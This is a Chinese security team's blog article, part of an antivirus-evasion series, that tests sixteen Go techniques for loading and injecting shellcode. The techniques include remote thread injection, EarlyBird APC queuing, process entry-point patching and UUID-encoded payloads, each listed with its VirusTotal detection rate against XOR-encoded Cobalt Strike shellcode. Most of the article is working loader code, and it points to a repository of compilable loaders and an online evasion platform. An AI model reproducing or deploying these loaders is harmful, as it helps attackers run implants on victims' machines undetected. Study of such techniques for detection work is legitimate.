远控免杀专题(76)-基于Go的各种API免杀测试
免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/
0x01 基于API的免杀测试
1.1 介绍
目前基于Go的免杀,很大一部分都是基于已有API来各种姿势的加载shellcode,再加上shellcode的加解密、代码混淆、加壳、条件执行等方法,从而规避杀软的检测。
基于Go的各种加载器也就是为shellcode申请一段内存,然后把指令寄存器指向shellcode的开头,让机器执行这段shellcode,而Go实现这个功能就需要调用windows API了。
本次所有测试代码:https://github.com/TideSec/GoBypassAV/
下的Go_Windows_API
目录,所有代码均可单独编译运行。
通过对Go免杀的研究,实现了一个在线免杀平台,目前生成x64位的免杀效果尚可,x86的效果一般。
潮影在线免杀平台:http://bypass.tidesec.com/
1.2 测试环境
本文搜集汇总了网上各种基于Go的API代码实现方式,共16种,应该算是比较全面的了,逐一进行了免杀测试。
测试环境:Win10 x64
shellcode:CobalStrike 4.4生成的64位shellcode,使用了异或xor算法进行编码
Golang版本:1.18.3
测试参数:使用
go build -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s"
编译生成说明:方便对比起见,本次测试均未结合其他免杀方式。
CobalStrike 4.4生成的shellcode使用异或算法进行编码,异或代码在这里:https://github.com/TideSec/GoBypassAV/blob/master/Encryption/xor/xor.go
1.3 测试结果
测试使用的平台为VT平台:https://virustotal.com/
API介绍部分参考piiperxyz
大佬的https://github.com/piiperxyz/AniYa
。
0x02 不同API的免杀测试情况
2.00 HelloTide测试(VT免杀率7/70)
测试之前先用helloTide
测试一下,发现VT的查杀率能到7/70,所以现在想把Go语言做到0免杀已经很难了,能达到10/70以下就算不错的了。在去年的时候还能用-race
参数做到基本0免杀,但现在加上-race
参数只会查杀更厉害。
package main
import "fmt"
func main(){
fmt.Println("Hello Tide")
}
2.01 CreateFiber(VT免杀率18/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ := ConvertThreadToFiber.Call()
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, _ = SwitchToFiber.Call(fiber)
_, _, _ = SwitchToFiber.Call(fiberAddr)
2.02 CreateProcessWithPipe(VT免杀率8/70)
核心代码
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
2.03 CreateRemoteThread(VT免杀率8/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
pHandle, _ := windows.OpenProcess(
windows.PROCESS_CREATE_THREAD|
windows.PROCESS_VM_OPERATION|
windows.PROCESS_VM_WRITE|
windows.PROCESS_VM_READ|
windows.PROCESS_QUERY_INFORMATION,
false,
uint32(pid),
)
addr, _, _ := VirtualAllocEx.Call(
uintptr(pHandle),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
uintptr(pHandle),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
uintptr(pHandle),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
_, _, _ = CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
_ = windows.CloseHandle(pHandle
2.04 CreateRemoteThreadEx(VT免杀率9/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|
windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0,
uintptr(uint32(pid)),
)
addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = CreateRemoteThreadEx.Call(pHandle, 0, 0, addr, 0, 0, 0)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
2.05 CreateThread(VT免杀率8/70)
核心代码
addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
_, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
2.06 CreateThreadNative(VT免杀率8/69)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead,
uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
2.07 CreatProcess(VT免杀率8/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
appName, _ := syscall.UTF16PtrFromString(program)
commandLine, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
appName,
commandLine,
nil,
nil,
true,
windows.CREATE_SUSPENDED,
nil,
nil,
startupInfo,
procInfo,
)
addr, _, _ := VirtualAllocEx.Call(
uintptr(procInfo.Process),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE,
)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(
uintptr(procInfo.Process),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(
uintptr(procInfo.Process),
addr,
uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
var processInformation ProcessBasicInformation
var returnLength uintptr
_, _, _ = NtQueryInformationProcess.Call(
uintptr(procInfo.Process),
0,
uintptr(unsafe.Pointer(&processInformation)),
unsafe.Sizeof(processInformation),
returnLength,
)
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
processInformation.PebBaseAddress,
uintptr(unsafe.Pointer(&peb)),
unsafe.Sizeof(peb),
uintptr(unsafe.Pointer(&readBytes)),
)
var dosHeader ImageDosHeader
var readBytes2 int32
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress,
uintptr(unsafe.Pointer(&dosHeader)),
unsafe.Sizeof(dosHeader),
uintptr(unsafe.Pointer(&readBytes2)),
)
var Signature uint32
var readBytes3 int32
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
uintptr(unsafe.Pointer(&Signature)),
unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&readBytes3)),
)
var peHeader ImageFileHeader
var readBytes4 int32
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&peHeader)),
unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&readBytes4)),
)
var optHeader64 ImageOptionalHeader64
var optHeader32 ImageOptionalHeader32
var readBytes5 int32
if peHeader.Machine == 34404 {
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader64)),
unsafe.Sizeof(optHeader64),
uintptr(unsafe.Pointer(&readBytes5)),
)
} else if peHeader.Machine == 332 {
_, _, _ = ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader32)),
unsafe.Sizeof(optHeader32),
uintptr(unsafe.Pointer(&readBytes5)),
)
}
var ep uintptr
if peHeader.Machine == 34404 {
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 {
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
if peHeader.Machine == 34404 {
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8)
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 {
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
}
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
_, _, _ = WriteProcessMemory.Call(
uintptr(procInfo.Process),
ep,
uintptr(unsafe.Pointer(&epBuffer[0])),
uintptr(len(epBuffer)),
)
_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)
2.08 EarlyBird(VT免杀率6/69)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
ShowWindow: 1,
}
program, _ := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
args, _ := syscall.UTF16PtrFromString("")
_ = windows.CreateProcess(
program,
args,
nil, nil, true,
windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(uintptr(procInfo.Process), addr,
(uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(uintptr(procInfo.Process), addr,
uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
_, _ = windows.ResumeThread(procInfo.Thread)
_ = windows.CloseHandle(procInfo.Process)
_ = windows.CloseHandle(procInfo.Thread)
2.09 EtwpCreateEtwThread(VT免杀率9/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)),
MemCommit|MemReserve, PageReadwrite)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)),
PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := EtwpCreateEtwThread.Call(addr, uintptr(0))
_, _, _ = WaitForSingleObject.Call(thread, 0xFFFFFFFF)
2.10 HeapAlloc(VT免杀率18/70)
核心代码
shellSize := uintptr(len(shellcode))
handle, _, _ := RtlCreateHeap.Call(0x00040000|0x00000002, 0, shellSize, shellSize, 0, 0)
alloc, _, _ := RtlAllocateHeap.Call(handle, 0x00000008, shellSize)
for index := uint32(0); index < uint32(len(shellcode)); index++ {
writePtr := unsafe.Pointer(alloc + uintptr(index))
v := (*byte)(writePtr)
*v = shellcode[index]
}
_, _, _ = syscall.Syscall(alloc, 0, 0, 0, 0)
2.11 NtQueueApcThreadEx(VT免杀率9/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MemCommit|MemReserve, PageReadwrite)
fmt.Println("ok")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PageReadwrite
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PageExecuteRead, uintptr(unsafe.Pointer(&oldProtect)))
thread, _, _ := GetCurrentThread.Call()
_, _, _ = NtQueueApcThreadEx.Call(thread, 1, addr, 0, 0, 0)
2.12 ProcCryptProtectMemory(VT免杀率18/70)
核心代码
addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(2 * time.Second)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
procCryptProtectMemory.Call(uintptr(addr), uintptr(len(charcode)), uintptr(0x00))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(2 * time.Second)
syscall.Syscall(addr, 0, 0, 0, 0)
2.13 RtlCreateUserThread(VT免杀率8/69)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
CloseHandle := kernel32.NewProc("CloseHandle")
pHandle, _, _ := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|
windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
0, uintptr(uint32(pid)))
addr, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("ok")
_, _, _ = WriteProcessMemory.Call(pHandle, addr, (uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
_, _, _ = VirtualProtectEx.Call(pHandle, addr, uintptr(len(shellcode)),
windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
var tHandle uintptr
_, _, _ = RtlCreateUserThread.Call(pHandle, 0, 0, 0, 0, 0, addr, 0,
uintptr(unsafe.Pointer(&tHandle)), 0)
_, _, _ = CloseHandle.Call(uintptr(uint32(pHandle)))
2.14 RtlMoveMemory(VT免杀率17/70)
核心代码
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
for j := 0; j < len(shellcode); j++ {
shellcode[j] = 0
}
for j := 0; j < len(shellcode); j++ {
shellcode[j] = 0
}
syscall.Syscall(addr, 0, 0, 0, 0)
2.15 SyscallUnsafe(VT免杀率16/70)
核心代码
func run(scd []byte) {
ff := func() {}
var oldfperms uint32
if !VirtualProtect1(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&ff))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
}
**(**uintptr)(unsafe.Pointer(&ff)) = *(*uintptr)(unsafe.Pointer(&scd))
var old uint32
if !VirtualProtect1(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&scd))), uintptr(len(scd)), uint32(0x40), unsafe.Pointer(&old)) {
}
ff()
}
2.16 UuidFromString(VT免杀率19/70)
核心代码
kernel32 := windows.NewLazySystemDLL("kernel32")
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
heapCreate := kernel32.NewProc("HeapCreate")
heapAlloc := kernel32.NewProc("HeapAlloc")
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
heapAddr, _, _ := heapCreate.Call(0x00040000, 0, 0)
addr, _, _ := heapAlloc.Call(heapAddr, 0, 0x00100000)
addrPtr := addr
for _, temp := range uuids {
u := append([]byte(temp), 0)
_, _, _ = uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
addrPtr += 16
}
_, _, _ = enumSystemLocalesA.Call(addr, 0)
0x03 测试小结
发现在使用GO进行免杀时,单纯使用API时有的效果还可以,但兼容性稳定性不一定好,而兼容性好使用较多的免杀效果又比较一般。
比如比较早期出现的Go加载器https://github.com/brimstone/go-shellcode
就是用了上面2.15 SyscallUnsafe
的方式,现在很多基于Go的免杀也都在使用这种API,目前VT免杀率16/70。
所以要想得到更好的免杀效果,还是要多种方式结合,下篇文章将总结一下Golang免杀的常见方式。多种方式结合,将会有更好的免杀效果。
0x04 参考资料
本文内容参考节选自以下资料:
go-shellcode:https://github.com/Ne0nd0g/go-shellcode
GolangBypassAV:https://github.com/safe6Sec/GolangBypassAV
windows免杀:https://blog.z3ratu1.cn/windows免杀入门.htm
AniYa免杀:https://github.com/piiperxyz/AniYa
golang免杀初尝试:https://xz.aliyun.com/t/11279
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
微信扫码关注该文公众号作者